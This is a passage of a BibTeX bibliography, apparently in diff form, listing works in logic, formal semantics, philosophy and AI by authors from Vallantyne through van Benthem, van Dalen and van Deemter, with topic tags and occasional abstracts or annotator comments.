describing a simple logic that + has a sound and efficient proof procedure for reasoning about + instances, and that is rendered robust by having the rules + learnable. The complexity and accuracy of both learning and + deduction are provably polynomial bounded. } , + topic = {PAC-learning;rule-learning;foundations-of-logic;} + } + +@article{ vallantyne:1997a, + author = {Peter Vallantyne}, + title = {Intrinsic Properties Defined}, + journal = {Philosophical Studies}, + year = {1997}, + volume = {88}, + pages = {209--219}, + missinginfo = {number}, + topic = {internal/external-properties;} + } + +@book{ vallduvi:1992a, + author = {Enric Vallduv\'{\i}}, + title = {The Informational Component}, + publisher = {Garland Publishing}, + year = {1992}, + series = {Outstanding Dissertations in Linguistics}, + address = {New York}, + topic = {situation-semantics;information-packaging;} + } + +@incollection{ vallduvi:1994a, + author = {Enric Valldvu\'{\i}}, + title = {The Dynamics of Information Packaging}, + booktitle = {Integrating Information Structure into + Constraint-based and Categorial Approaches}, + publisher = {ILLC}, + year = {1994}, + editor = {Elisabet Engdahl}, + pages = {1--26}, + address = {Amsterdam}, + note = {DYANA-2 Report R.1.3.B}, + topic = {situation-semantics;information-packaging;} + } + +@incollection{ vallduvi:2002a, + author = {Enric Vallduv\'i}, + title = {Information Packaging and Dialog}, + booktitle = {{EDILOG} 2002: Proceedings of the Sixth Workshop on the + Semantics and Pragmatics of Dialogue}, + publisher = {Cognitive Science Centre, University of Edinburgh}, + year = {2002}, + editor = {Johan Bos and Mary Ellen Foster and Colin Mathesin}, + pages = {4}, + address = {Edinburgh}, + topic = {information-packaging;} + } + +@phdthesis{ vanaken:1982a, + author = {James H. {van Aken}}, + title = {Intuitive Pictures of Axiomatic Set Theory}, + school = {Princeton University}, + year = {1982}, + type = {Ph.{D}. Dissertation}, + address = {Princeton, New Jersey}, + topic = {foundations-of-set-theory;} + } + +@article{ vanaken:1987a, + author = {James {van Aken}}, + title = {Analysis of Quantum Probability Theory {I}}, + journal = {Journal of Philosophical Logic}, + year = {1987}, + volume = {16}, + number = {3}, + pages = {267--296}, + topic = {quantum-logic;} + } + +@article{ vanaken:1989a, + author = {James {van Aken}}, + title = {Analysis of Quantum Probability Theory {II}}, + journal = {Journal of Philosophical Logic}, + year = {1989}, + volume = {15}, + number = {3}, + pages = {333--367}, + topic = {quantum-logic;foundations-of-quantum-mechanics;} + } + +@article{ vanatten-dalen:2002a, + author = {Mark van Atten and Dirk van Dalen}, + title = {Arguments for the Continuity Principle}, + journal = {The Bulletin of Symbolic Logic}, + year = {2002}, + volume = {8}, + number = {3}, + pages = {329--348}, + topic = {intuitionistic-mathematics;} + } + +@incollection{ vanbaalen:1991a, + author = {Jeffrey {van Baalen}}, + title = {The Completeness of {DRAT}, A Technique for Automatic + Design of Satisfiability Procedures}, + booktitle = {{KR}'91: Principles of Knowledge Representation and Reasoning}, + publisher = {Morgan Kaufmann}, + year = {1991}, + editor = {James F. Allen and Richard Fikes and Erik Sandewall}, + pages = {514--525}, + address = {San Mateo, California}, + topic = {kr;theorem-proving;kr-course;} + } + +@article{ vanbaalen:1992a, + author = {Jeffrey Van Baalen}, + title = {Automated Design of Specialized Representations}, + journal = {Artificial Intelligence}, + year = {1992}, + volume = {54}, + number = {1--2}, + pages = {121--198}, + acontentnote = {Abstract: + We present a general notion of specialized representation and a + methodology that automates the design of such representations. + These representations are combinations of data structure and + procedure that efficiently perform inferences required in + solving a problem. Our implementation of the methodology begins + with a problem stated in a sorted first-order logic and designs + a representation for the problem by combining building blocks, + called representation schemes. It has a library of + representation schemes. A scheme is identified for use in + designing a representation by matching a description of the + inferences it performs against one or more statements in a + problem. Once a scheme is designed into a representation the + general problem solver need no longer consider the problem + statements matched in the scheme identification process because + the scheme computes the required inferences from those + statements. The machinery to perform the required inferences + has been moved out of the problem solving cycle and into the + representation. Experience with the implementation has shown + that a theorem prover reasoning about a smaller set of + statements in a specialized representation is dramatically more + efficient than reasoning about the original set of statements in + the original representation. } , + topic = {problem-solving;theorem-proving;kr;} + } + +@incollection{ vanbaalen-fikes:1994a, + author = {Jeffrey {Van Baalen} and Richard E. Fikes}, + title = {The Role of Reversible Grammars in Translating Between + Representation Languages}, + booktitle = {{KR}'94: Principles of Knowledge Representation and Reasoning}, + publisher = {Morgan Kaufmann}, + year = {1994}, + editor = {Jon Doyle and Erik Sandewall and Pietro Torasso}, + pages = {562--571}, + address = {San Francisco, California}, + topic = {kr;kr-representation-languages;knowledge-sharing;kr-course;} + } + +@article{ vanbeek:1990a, + author = {Peter {van Beek}}, + title = {Exact and Approximate Reasoning about Temporal Reasoning}, + journal = {Compuational Intelligence}, + year = {1990}, + volume = {6}, + pages = {132--144}, + missinginfo = {number}, + topic = {temporal-reasoning;} + } + +@article{ vanbeek-cohen:1990a, + author = {Peter {van Beek} and Robin Cohen}, + title = {Exact and Approximate Reasoning about Temporal Relations}, + journal = {Computational Intelligence}, + year = {1990}, + volume = {6}, + number = {3}, + pages = {132--144}, + topic = {temporal-reasoning;} + } + +@article{ vanbeek:1992a, + author = {Peter van Beek}, + title = {Reasoning about Qualitative Temporal Information}, + journal = {Artificial Intelligence}, + year = {1992}, + volume = {58}, + number = {1--3}, + pages = {297--326}, + topic = {qualitative-reasoning;temporal-reasoning;} + } + +@incollection{ vanbeek-dechter_r:1994a, + author = {Peter {Van Beek} and Rina Dechter}, + title = {Constraint Tightness versus Global Consistency}, + booktitle = {{KR}'94: Principles of Knowledge Representation and Reasoning}, + publisher = {Morgan Kaufmann}, + year = {1994}, + editor = {Jon Doyle and Erik Sandewall and Pietro Torasso}, + pages = {572--582}, + address = {San Francisco, California}, + topic = {kr;constraint-propagation;constraint-networks;kr-course;} + } + +@article{ vanbenthem:1974a, + author = {Johan {van Benthem}}, + title = {Hintikka on Analyticity}, + journal = {Journal of Philosophical Logic}, + year = {1974}, + volume = {3}, + number = {4}, + pages = {419--431}, + topic = {analyticity;} + } + +@article{ vanbenthem:1975a, + author = {Johan {van Benthem}}, + title = {A Note on Modal Formulas and Relational Properties}, + journal = {Journal of Symbolic Logic}, + year = {1975}, + volume = {40}, + number = {55--58}, + topic = {modal-logic;} + } + +@article{ vanbenthem:1978a, + author = {Johan {van Benthem}}, + title = {Two Simple Incomplete Modal Logics}, + journal = {Theoria}, + year = {1978}, + volume = {44}, + pages = {25--37}, + missinginfo = {number}, + topic = {modal-logic;} + } + +@article{ vanbenthem:1978b, + author = {Johan {van Benthem}}, + title = {Four Paradoxes}, + journal = {Journal of Philosophical Logic}, + year = {1978}, + volume = {7}, + number = {1}, + pages = {49--72}, + topic = {paradoxes;foundations-of-set-theory;semantic-paradoxes;} + } + +@article{ vanbenthem:1980a, + author = {Johan {Van Benthem}}, + title = {General Dynamics}, + journal = {Theoretical Linguistics}, + year = {1980}, + volume = {7}, + number = {1/2}, + pages = {159--201}, + topic = {nl-semantics;dynamic-logic;} + } + +@incollection{ vanbenthem:1981a, + author = {Johan {van Benthem}}, + title = {Tense Logic,, Second-Order Logic, and Natural Language}, + booktitle = {Aspects of Philosophical Logic}, + publisher = {D. Reidel Publishing Co.}, + year = {1981}, + editor = {Uwe M\"onnich}, + pages = {1--20}, + address = {Dordrecht}, + topic = {temporal-logic;higher-order-logic;} + } + +@unpublished{ vanbenthem:1982a, + author = {Johan {van Benthem}}, + title = {Behind the Scenes of Conditional Logic}, + year = {1982}, + note = {Unpublished manuscript, Filosophisch Institut, + Rijksuniversiteit, Groningen.}, + topic = {conditionals;} + } + +@book{ vanbenthem:1983a, + author = {Johan {van Benthem}}, + title = {The Logic of Time}, + publisher = {D. Reidel Publishing Company}, + year = {1983}, + address = {Dordrecht}, + xref = {Review: burgess_jp:1984a.}, + topic = {temporal-logic;} + } + +@book{ vanbenthem:1983b, + author = {Johan {van Benthem}}, + title = {Modal Logic and Classical Logic}, + publisher = {Bibliopolis}, + year = {1983}, + address = {Naples}, + topic = {modal-logic;} + } + +@article{ vanbenthem:1983c, + author = {Johan {van Benthem}}, + title = {Determiners and Logic}, + journal = {Linguistics and Philosophy}, + year = {1983}, + volume = {6}, + number = {4}, + pages = {447--478}, + topic = {nl-semantics;determiners;generalized-quantifiers;} + } + +@techreport{ vanbenthem:1983d, + author = {Johan {van Benthem}}, + title = {Tenses in Real Time}, + institution = {Department of Mathematics, Simon Frazer University.}, + number = {83-26}, + year = {1983}, + address = {Burnaby, British Columbia}, + topic = {nl-tense;} + } + +@incollection{ vanbenthem-doets:1983a, + author = {Johan {van Benthem} and Kees Doets}, + title = {Higher-Order Logic}, + booktitle = {Handbook of Philosophical Logic, Volume {I}: + Elements of Classical Logic}, + publisher = {D. Reidel Publishing Co.}, + year = {1983}, + editor = {Dov Gabbay and Franz Guenther}, + pages = {275--329}, + address = {Dordrecht}, + topic = {higher-order-logic;} + } + +@article{ vanbenthem:1984a, + author = {Johan {van Benthem}}, + title = {Foundations of Conditional Logic}, + journal = {Journal of Philosophical Logic}, + year = {1984}, + volume = {13}, + number = {3}, + pages = {303--349}, + topic = {conditionals;generalized-quantifiers;} + } + +@incollection{ vanbenthem:1984b, + author = {Johan {van Benthem}}, + title = {Correspondence Theory}, + booktitle = {Handbook of Philosophical Logic, Volume {II}: + Extensions of Classical Logic}, + publisher = {D. Reidel Publishing Company}, + year = {1984}, + editor = {Dov Gabbay and Franz Guenthner}, + pages = {167--247}, + address = {Dordrecht}, + topic = {modal-logic;modal-correspondence-theory;} + } + +@techreport{ vanbenthem:1984c, + author = {Johan van Benthem}, + title = {Partiality and Nonmonotonicity in Classical Logic}, + institution= {Center for the Study of Language and Information}, + number = {CSLI--84--12}, + year = {1984}, + address = {Stanford University, Stanford California.}, + topic = {partial-logic;nonmonotonic-logic;} + } + +@incollection{ vanbenthem:1984d, + author = {Johan van Benthem}, + title = {The Logic of Semantics}, + booktitle = {Varieties of Formal Semantics}, + publisher = {Foris Publications}, + year = {1984}, + editor = {Fred Landman and Frank Veltman}, + pages = {55--80}, + address = {Dordrecht}, + topic = {nl-quantifiers;generalized-quantifiers;categorial-grammar;} + } + +@article{ vanbenthem:1985a, + author = {Johan {van Benthem}}, + title = {Situations and Inference}, + journal = {Linguistics and Philosophy}, + year = {1985}, + volume = {8}, + number = {1}, + pages = {3--8}, + topic = {situation-semantics;} + } + +@book{ vanbenthem-termeulen:1985a, + author = {Johan {van Benthem} and Alice {ter Meulen}}, + title = {Generalized Quantifiers in Natural Language}, + publisher = {Foris}, + year = {1985}, + missinginfo = {address}, + topic = {nl-quantifiers;generalized-quantifiers;} + } + +@incollection{ vanbenthem:1986a, + author = {Johan {van Benthem}}, + title = {Semantic Automata}, + booktitle = {Studies in Discourse Representation Theory and the Theory of + Generalized Quantifiers}, + publisher = {Foris Publications}, + year = {1986}, + editor = {Jeroen Groenendijk and Dick de Jongh and Martin Stokhof}, + pages = {1--25}, + address = {Dordrecht}, + topic = {generalized-quantifiers;automata-theory;finite-state-automata; + pragmatics;} + } + +@book{ vanbenthem:1986b, + author = {Johan {van Benthem}}, + title = {Essays in Logical Semantics}, + publisher = {D. Reidel Publishing Co.}, + year = {1986}, + address = {Dordrecht}, + contentnote = {TC: + Part I: CONSTRAINTS ON DENOTATIONS + 1. "Determiners" + 2. "Quantifiers" + 3. "All Categories" + 4. "Conditionals" + 5. "Modality and Tense" + 6. "Natural Logic" + Part II: DYNAMICS OF INTERPRETATION + 7. "Categorial Grammar" + 9. "Semantic Automata" + Part III: METHODOLOGY OF SEMANTICS + 9. "Semantics as an empirical science" + 10. "The logic of Semantics" + } , + topic = {nl-semantics;foundations-of-semantics;conditionals;} + } + +@techreport{ vanbenthem:1986c, + author = {Johan van Benthem}, + title = {Categorial Grammar and Lambda Calculus}, + institution = {Institute for Language, Logic and Information, University + of Amsterdam}, + year = {1986}, + address = {Faculty of Mathematics and Computer Science, Roeterssraat 15, + 1018WB Amsterdam, Holland } , + topic = {categorial-grammar;lambda-calculus;} + } + +@article{ vanbenthem:1987a, + author = {Johan {van Benthem}}, + title = {Logical Syntax}, + journal = {Theoretical Linguistics}, + year = {1987}, + volume = {14}, + number = {2/3}, + pages = {119--142}, + contentnote = {Complexity results for syntax of some logical + languages, complexity results on semantic interpretation.}, + topic = {algorithmic-complexity;logical syntax;} + } + +@article{ vanbenthem:1989a, + author = {Johan {van Benthem}}, + title = {Polyadic Quantifiers}, + journal = {Linguistics and Philosophy}, + year = {1989}, + volume = {12}, + number = {4}, + pages = {437--464}, + topic = {nl-quantifiers;generalized-quantifiers;} + } + +@unpublished{ vanbenthem:1989b, + author = {Johan {van Benthem}}, + title = {Networks and Conditional Logic}, + year = {1989}, + note = {(Handwritten MS.)}, + topic = {inheritance-theory;} + } + +@unpublished{ vanbenthem:1989c, + author = {Johan {van Benthem}}, + title = {Modal Logic as a Theory of Information}, + year = {1989}, + note = {Unpublished manuscript, University of Amsterdam}, + topic = {modal-logic;intuitionistic-logic;} + } + +@incollection{ vanbenthem:1989d, + author = {Johan {van Benthem}}, + title = {Logical Semantics}, + booktitle = {Logic and Linguistics}, + publisher = {Lawrence Earlbaum Associates}, + year = {1989}, + editor = {Helmut Schnelle and Niels Ole Bernsen}, + pages = {109--126}, + address = {Hillsdale, New Jersey}, + topic = {nl-semantics;} + } + +@incollection{ vanbenthem:1989e, + author = {Johan {van Benthem}}, + title = {Reasoning and Cognition: Towards a Wider Perspective in + Logic}, + booktitle = {Logic and Linguistics}, + publisher = {Lawrence Earlbaum Associates}, + year = {1989}, + editor = {Helmut Schnelle and Niels Ole Bernsen}, + pages = {185--208}, + address = {Hillsdale, New Jersey}, + topic = {foundations-of-cognition;philosophical-logic;} + } + +@article{ vanbenthem:1989f, + author = {Johan {van Benthem}}, + title = {Notes on Modal Definability}, + journal = {Journal of Philosophical Logic}, + year = {1989}, + volume = {30}, + number = {1}, + pages = {20--35}, + topic = {paradoxes;foundations-of-set-theory;semantic-paradoxes;} + } + +@article{ vanbenthem:1990a, + author = {Johan {van Benthem}}, + title = {Categorial Grammar and Type Theory}, + journal = {Journal of Philosophical Logic}, + year = {1990}, + volume = {19}, + number = {2}, + pages = {115--168}, + topic = {categorial-grammar;higher-order-logic;} + } + +@book{ vanbenthem-etal:1990a, + editor = {Johan {van Benthem} and Renate Bartsch and P. {van emde + Boas}}, + title = {Semantics and Contextual Expression}, + publisher = {Mouton}, + year = {1990}, + address = {The Hague}, + topic = {nl-semantics;} + } + +@book{ vanbenthem:1991a, + editor = {Johan {van Benthem}}, + title = {Logic in Action: Categories, Lambdas, and Dynamic Logic}, + publisher = {North-Holland}, + year = {1991}, + address = {Amsterdam}, + xref = {Review: israel_dj:1993a.}, + topic = {dynamic-logic;} + } + +@article{ vanbenthem:1991b, + author = {Johan {van Benthem}}, + title = {Language in Action}, + journal = {Journal of Philosophical Logic}, + year = {1991}, + volume = {20}, + number = {3}, + pages = {225--263}, + topic = {dynamic-logic;} + } + +@incollection{ vanbenthem:1992b, + author = {Johan {van Benthem}}, + title = {Epistemic Logic: From Knowledge to Cognition}, + booktitle = {Theoretical Aspects of Reasoning about Knowledge: + Proceedings of the Fourth Conference ({TARK} 1992)}, + publisher = {Morgan Kaufmann}, + year = {1992}, + editor = {Yoram Moses}, + pages = {167--168}, + address = {San Francisco}, + topic = {epistemic-logic;} + } + +@inproceedings{ vanbenthem:1993a, + author = {Johan {van Benthem}}, + title = {The Logic of Cognitive Action}, + booktitle = {Proceedings of the Thirteenth International Joint + Conference on Artificial Intelligence}, + year = {1993}, + editor = {Ruzena Bajcsy}, + pages = {810}, + publisher = {Morgan Kaufmann}, + address = {San Mateo, California}, + topic = {epistemic-logic;dynamic-logic;} + } + +@article{ vanbenthem:1993b, + author = {Johan {van Benthem}}, + title = {Modelling the Kinematics of Meaning}, + journal = {Proceedings of the {A}ristotelian Society}, + year = {1993}, + volume = {93}, + note = {Supplementary Series.}, + pages = {105--122}, + topic = {dynamic-logic;foundations-of-cognition;} + } + +@incollection{ vanbenthem:1993c, + author = {Johan {van Benthem}}, + title = {Beyond Accessibility: Functional Models for Modal Logic}, + booktitle = {Diamonds and Defaults}, + publisher = {Kluwer Academic Publishers}, + editor = {Maarten de Rijke}, + year = {1993}, + pages = {1--18}, + address = {Dordrecht}, + topic = {modal-logic;dynamic-logic;} + } + +@incollection{ vanbenthem:1994a, + author = {Johan {van Benthem}}, + title = {Temporal Logic}, + booktitle = {Handbook of Logic in Artificial Intelligence + and Logic Programming, Volume 4: Epistemic + and Temporal Reasoning}, + publisher = {Oxford University Press}, + year = {1995}, + editor = {Dov Gabbay and C. Hogger and J.A. Robinson}, + address = {Oxford}, + missinginfo = {Editor's first names, chapter}, + topic = {temporal-logic;} + } + +@article{ vanbenthem-bergstra:1995a, + author = {Johan {van Benthem} and Jan Bergstra}, + title = {Logic of Transition Systems}, + journal = {Journal of Logic, Language, and Information}, + year = {1995}, + volume = {3}, + number = {4}, + pages = {247--283}, + contentnote = {A transition system is a record of a computation. + The paper devises a first-order language for such systems and + discusses the usual logical issues. There may be + applications in AI.}, + topic = {theory-of-computation;} + } + +@incollection{ vanbenthem:1996a, + author = {Johan {van Benthem}}, + title = {Modal Logic as a Theory of Information}, + booktitle = {Logic and Reality: Essays on the Legacy of {A}rthur + {P}rior}, + publisher = {Oxford University Press}, + year = {1996}, + editor = {Jack Copeland}, + address = {Oxford}, + pages = {135--168}, + contentnote = {JvB seems to think that the days of + the old semantics for modal logic are numbered. We + now have a "flow of information" semantics. Some of the + generalizations are interesting, but is it right to state + this as if there were two schools of thought, opposed to + one another?}, + topic = {modal-logic;} + } + +@book{ vanbenthem:1996b, + author = {Johan van Benthem}, + title = {Exploring Logical Dynamics}, + publisher = {{CSLI} Publications}, + year = {1996}, + address = {Stanford, California}, + ISBN = {1-57586-058-9 (pbk)}, + xref = {Review: moss_ls:2000a.}, + topic = {dynamic-logic;dynamic-semantics;} + } + +@incollection{ vanbenthem:1996c, + author = {Johan {van Benthem}}, + title = {Content Versus Wrapping: An Essay in Semantic Complexity}, + booktitle = {Arrow Logic and Multimodal Logic}, + publisher = {{CLSI} Publications}, + year = {1996}, + editor = {Maarten Marx and L\'azl\'o P\'olos and Michael Masuch}, + pages = {203--219}, + address = {Stanford, California}, + topic = {arrow-logic;} + } + +@book{ vanbenthem-termeulen:1996a, + author = {Johan {van Benthem} and Alice {ter Meulen}}, + title = {Handbook of Logic and Language}, + publisher = {Elsevier Science Publishers}, + year = {1996}, + address = {Amsterdam}, + xref = {Reviews: kurtonina:2000a, cresswell_mj:1999a.}, + topic = {nl-semantics;} + } + +@article{ vanbenthem:1997a, + author = {Johan {van Benthem}}, + title = {Logic, Language \& Information: The Makings of a + New Science?}, + journal = {Journal of Logic, Language, and Information}, + year = {1997}, + volume = {6}, + number = {1}, + pages = {1--3}, + topic = {cognitive-science;} + } + +@article{ vanbenthem-shoham_y1:1997a, + author = {Johan {van Benthem} and Yoav Shoham}, + title = {Editorial: Cognitive Actions in Focus}, + journal = {Journal of Logic, Language, and Information}, + year = {1997}, + volume = {6}, + number = {2}, + pages = {119--121}, + contentnote = {This is an intro to a JLLI issue selecting TARK 1996 + papers. They list one theme I don't really see documented in + the issue, on the structure of cognitive actions. --RT}, + topic = {agent-modeling;} + } + +@incollection{ vanbenthem:1998a, + author = {Johan {van Benthem}}, + title = {Changing Contexts and Shifting Assertions}, + booktitle = {Computing Natural Language}, + publisher = {{CSLI} Publications}, + year = {1998}, + editor = {Atocha Aliseda and Rob {van Glabbeek} and Dag Westerst{\aa}hl}, + pages = {51--65}, + address = {Stanford, California}, + topic = {context;modal-logic;} + } + +@incollection{ vanbenthem:2001b, + author = {Johan van Benthem}, + title = {Language, Logic, and Computation}, + booktitle = {Logic in Action}, + publisher = {Institute for Logic, Language, and Computation, + University of Amsterdam}, + year = {2001}, + editor = {Johan van Benthen and Paul Dekker and Jan van Eijk and + Maarten de Rijke and Yde Venema}, + pages = {7--25}, + address = {Amsterdam}, + topic = {epistemic-logic;mutual-belief;} + } + +@article{ vanbenthem:2002a, + author = {Johan van Benthem}, + title = {Extensive Games as Process Models}, + journal = {Journal of Logic, Language, and Information}, + year = {2002}, + volume = {11}, + number = {3}, + pages = {289--313}, + topic = {game-theory;dynamic-logic;} + } + +@article{ vanbenthen-israel_dj:1999a, + author = {Johan {van Benthen} and David Israel}, + title = {Review of {\em {I}nformation Flow: The Logic of + Distributed Systems}, by {J}on {B}arwise and {J}erry {S}eligman}, + journal = {Journal of Logic, Language, and Information}, + year = {1999}, + volume = {8}, + number = {3}, + pages = {390--397}, + topic = {information-flow-theory;distributed-systems; + reasoning-with-diagrams;} + } + +@book{ vanbenthen-etal:2001a, + author = {Johan van Benthen and Paul Dekker and Jan van Eijk and + Maarten de Rijke and Yde Venema}, + title = {Logic in Action}, + publisher = {Institute for Logic, Language, and Computation, + University of Amsterdam}, + year = {2001}, + address = {Amsterdam}, + ISBN = {9057760770}, + contentnote = {TC: + 1. Johan van Benthem, "Language, Logic, and Computation", pp. 7--25 + 2. Paul Dekker, "Updates and Games", pp. 27--50 + 3. Jan van Eijk, "Border Crossings", pp. 51--74 + 4. Maarten de Rijke, "Computing with Meaning", pp. 75--113 + 5. Yde Venema, "Dynamic Models in Their Logical + Surroundings", pp. 115--153 + } , + topic = {belief-revision;computational-semantics;context;dynamic-logic; + epistemic-logic;game-theory;information-retrieval;mutual-belief; + nl-syntax;programming-languages;} + } + +@incollection{ vancleve:1984a, + author = {James {van Cleve}}, + title = {Reliability, Justification, and the Problem of Induction}, + booktitle = {Causation and Causal Theories}, + publisher = {University of Minnesota Press}, + year = {1984}, + editor = {Peter A. French and Theodore E. Uehling, Jr. and Howard + K. Wettstein}, + pages = {555--567}, + address = {Minneapolis}, + topic = {induction;} + } + +@incollection{ vandalen:1983a, + author = {Dirk {van Dalen}}, + title = {Algorithms and Decision Problems: + A Crash Course in Decision Theory}, + booktitle = {Handbook of Philosophical Logic, Volume {I}: + Elements of Classical Logic}, + publisher = {D. Reidel Publishing Co.}, + year = {1983}, + editor = {Dov Gabbay and Franz Guenther}, + pages = {409--478}, + address = {Dordrecht}, + topic = {decidability;} + } + +@incollection{ vandalen:1986a, + author = {Dirk {van Dalen}}, + title = {Intuitionistic Logic}, + booktitle = {Handbook of Philosophical Logic, Volume {III}: + Alternatives in Classical Logic}, + publisher = {D. Reidel Publishing Co.}, + year = {1986}, + editor = {Dov Gabbay and Franz Guenther}, + pages = {225--339}, + address = {Dordrecht}, + topic = {intuitionistic-logic;} + } + +@article{ vandalen:1997a, + author = {Dirk {van Dalen}}, + title = {How Connected is the Intuitionistic Continuum?}, + journal = {Journal of Symbolic Logic}, + year = {1997}, + volume = {62}, + pages = {1147--1150}, + number = {4}, + topic = {intuitionistic-mathematics;} + } + +@article{ vandalen:2000a, + author = {Dirk {van Dalen}}, + title = {Brouwer and {F}raenkel on Intuitionism}, + journal = {The Bulletin of Symbolic Logic}, + year = {2000}, + volume = {6}, + number = {3}, + pages = {284--310}, + topic = {history-of-logic;foundations-of-mathematics; + intuitionistic-mathematics;} + } + +@article{ vandalen-ebbinghaus:2000a, + author = {Dirk van Dalen and Heinz-Dieter Ebbinghaus}, + title = {Zermelo and the {S}kolem Paradox}, + journal = {The Bulletin of Symbolic Logic}, + year = {2000}, + volume = {6}, + number = {2}, + pages = {145--161}, + topic = {history-of-logic;set-theory;} + } + +@inproceedings{ vandeemter:1995a, + author = {Kees {van Deemter}}, + title = {Semantic Vagueness and Context-Dependence}, + booktitle = {Formalizing Context}, + year = {1995}, + editor = {Sasa Buva\v{c}}, + pages = {110--117}, + organization = {American Association for Artificial Intelligence}, + publisher = {AAAI Press}, + address = {Menlo Park, California}, + topic = {vagueness;context;comparative-constructions;} + } + +@incollection{ vandeemter:1996a, + author = {Kees {van Deemter}}, + title = {Towards a Logic of Ambiguous Expressions}, + booktitle = {Semantic Ambiguity and Underspecification}, + publisher = {Cambridge University Press}, + year = {1996}, + editor = {Kees {van Deemter} and Stanley Peters}, + address = {Cambridge, England}, + pages = {203--237}, + topic = {ambiguity;semantic-underspecification; + logic-of-ambiguity;} + } + +@incollection{ vandeemter:1996b, + author = {Kees {van Deemter}}, + title = {The Sorites Fallacy and the Context-Dependence of + Vague Predicates}, + booktitle = {Quantifiers, Deduction, and Context}, + publisher = {Cambridge University Press}, + year = {1996}, + editor = {Makoto Kanazawa and Christopher Pi\~n\'on and Henriette + de Swart}, + pages = {59--86}, + address = {Cambridge, England}, + topic = {vagueness;sorites-paradox;} + } + +@book{ vandeemter-peters:1996a, + editor = {Kees {van Deemter} and Stanley Peters}, + title = {Semantic Ambiguity and Underspecification}, + publisher = {Cambridge University Press}, + year = {1996}, + address = {Cambridge, England}, + xref = {Review: ludlow:1997a.}, + contentnote = {TC: + 1. G. Green, "Ambiguity Resolution and Discourse + Interpretation", pp. 1--26 + 2. Jaap van der Does and Henk Verkuyl, "Quantification and + Predication", pp. 27--54 + 3. Jerry Hobbs, "Monotone Decreasing Quantifiers in a Scope-Free + Logical Form", pp. 55--76 + 4. Hideyuki Nakashima and Yasunari Harada, "Situated Disambiguation + with Properly Specific Representation", pp. 77--99 + 5. Sasa Buvac, "Resolving Lexical Ambiguity Using a Formal + Theory of Context", pp. 101--124 + 6. Anne-Marie Mineur Paul Buitelaar, "A Compositional Treatment of + Polysemous Arguments in Categorial Grammar", pp. 125--143 + 7. Hiyan Alshawi, "Underspecified First Order Logics", pp. 145--158 + 8. Massimo Poesio, "Semantic Ambiguity and Perceived + Ambiguity", pp. 159--201 + 9. Kees van Deemter, "Towards a Logic of Ambiguous + Expressions", pp. 203--237 + 10. Uwe Reile, "Co-Indexed Labeled {DRS}s to Represent and Reason + with Ambiguities", pp. 239--268 + }, + xref = {Review: ludlow:1997a.}, + ISBN = {1575860295}, + topic = {ambiguity;semantic-underspecification;pragmatics;} + } + +@incollection{ vandeemter:1997a, + author = {Kees van Deemter}, + title = {Context Modeling for Language and Speech Generation}, + booktitle = {Interactive Spoken Dialog Systems: Bridging + Speech and {NLP} Together in Real Applications}, + publisher = {Association for Computational Linguistics}, + year = {1997}, + editor = {Julia Hirschberg and Candace Kamm and Marilyn Walker}, + pages = {48--52}, + address = {New Brunswick, New Jersey}, + topic = {computational-dialogue;context;} + } + +@article{ vandeemter-odijk:1997a, + author = {Kees van Deemter and J. Odijk}, + title = {Context Modeling and the Generation of Spoken Discourse}, + journal = {Speech Communication}, + year = {1997}, + volume = {21}, + pages = {101--121}, + missinginfo = {A's 1st name, number}, + topic = {context;nl-generation;intonation;given-new;} + } + +@article{ vandeemter:1998a, + author = {Kees van Deemter}, + title = {Domains of Discourse and the Semantics of Ambiguous + Utterances: A Reply to {G}auker}, + journal = {Mind}, + year = {1998}, + volume = {107}, + number = {426}, + missinginfo = {pages}, + topic = {ambiguity;} + } + +@article{ vandeemter:1998b, + author = {Kees van Deemter}, + title = {A Blackboard Model of Accenting}, + journal = {Computer Speech and Language}, + year = {1998}, + volume = {12}, + number = {3}, + missinginfo = {pages, number}, + topic = {intonation;speech-generation;d-topic;} + } + +@article{ vandeemter:1998c, + author = {Kees van Deemter}, + title = {Domains of Discourse and the Semantics of Ambiguous + Utterances: A Reply to {G}auker}, + journal = {Mind}, + year = {1998}, + volume = {107}, + number = {426}, + pages = {433--445}, + xref = {Commentary, inter alia, on: gauker:1997a.}, + topic = {foundations-of-pragmatics;philosophy-of-language;ambiguity;} + } + +@incollection{ vandeemter:1999a, + author = {Kees {van Deemter}}, + title = {Contrastive Stress, Contrariety and Focus}, + booktitle = {Focus: Linguistic, Cognitive, and Computational + Perspectives}, + publisher = {Cambridge University Press}, + year = {1999}, + editor = {Peter Bosch and Rob {van der Sandt}}, + address = {Cambridge, England}, + missinginfo = {pages}, + topic = {s-focus;} + } + +@article{ vandeemter-kibble:2000a, + author = {Kees van Deemter and Rodger Kibble}, + title = {On Coreferring: Coreference in {MUC} and Related + Annotation Schemes}, + journal = {Computational Linguistics}, + year = {2000}, + volume = {26}, + number = {2}, + pages = {629--637}, + topic = {anaphora-resolution;corpus-annotation;} + } + +@incollection{ vandeemter-odijk:2000a, + author = {Kees van Deemter and Jan Odijk}, + title = {Formal and Computational Models of Context for Natural + Language Generation}, + booktitle = {Formal Aspects of Context}, + publisher = {Kluwer Academic Publishers}, + year = {2000}, + editor = {Pierre Bonzon and Marcos Cavalcanti and Rolf Nossum}, + pages = {1--21}, + address = {Dordrecht}, + topic = {context;nl-generation;d-topic;discourse-representation-theory;} , + } + +@incollection{ vandenberghe-decaluwe:1991a, + author = {R.M. Vandenberghe and R.M. de Caluwe}, + title = {An Entity-Relationship Approach to the Modelling of + Vagueness in Databases}, + booktitle = {Symbolic and Quantitative Approaches for Uncertainty: + Proceedings of the {E}uropean Conference {ECSQAU}, Marseille, + France, October 1991}, + publisher = {Springer-Verlag}, + year = {1991}, + editor = {Rudolf Kruse and Pierre Siegel}, + pages = {338--343}, + address = {Berlin}, + topic = {vagueness;databases;} + } + +@incollection{ vandenbosch:2000a, + author = {Antal van den Bosch}, + title = {Using Induced Rules as Complex Features + in Memory-Based Language Learning}, + booktitle = {Proceedings of the Fourth Conference on Computational + Natural Language Learning and of the Second Learning Language + in Logic Workshop, {L}isbon, 2000}, + publisher = {Association for Computational Linguistics}, + year = {2000}, + editor = {Claire Cardie and Walter Daelemans and Claire N\'edellec + and Erik Tjong Kim Sang}, + pages = {73--78}, + address = {Somerset, New Jersey}, + topic = {machine-language-learning;rule-learning;} + } + +@article{ vandenherik-etal:2002a, + author = {H. Jaap van den Herik and Jos. W.H.M. Uiterwijk and + Jack van Rijswijck}, + title = {Games Solved: Now and in the Future}, + journal = {Artificial Intelligence}, + year = {2002}, + volume = {134}, + number = {1--2}, + pages = {277--311}, + topic = {game-playing;AI-editorial;} + } + +@techreport{ vanderauwera:1975a, + author = {Johan van der Auwera}, + title = {Semantic and Pragmatic 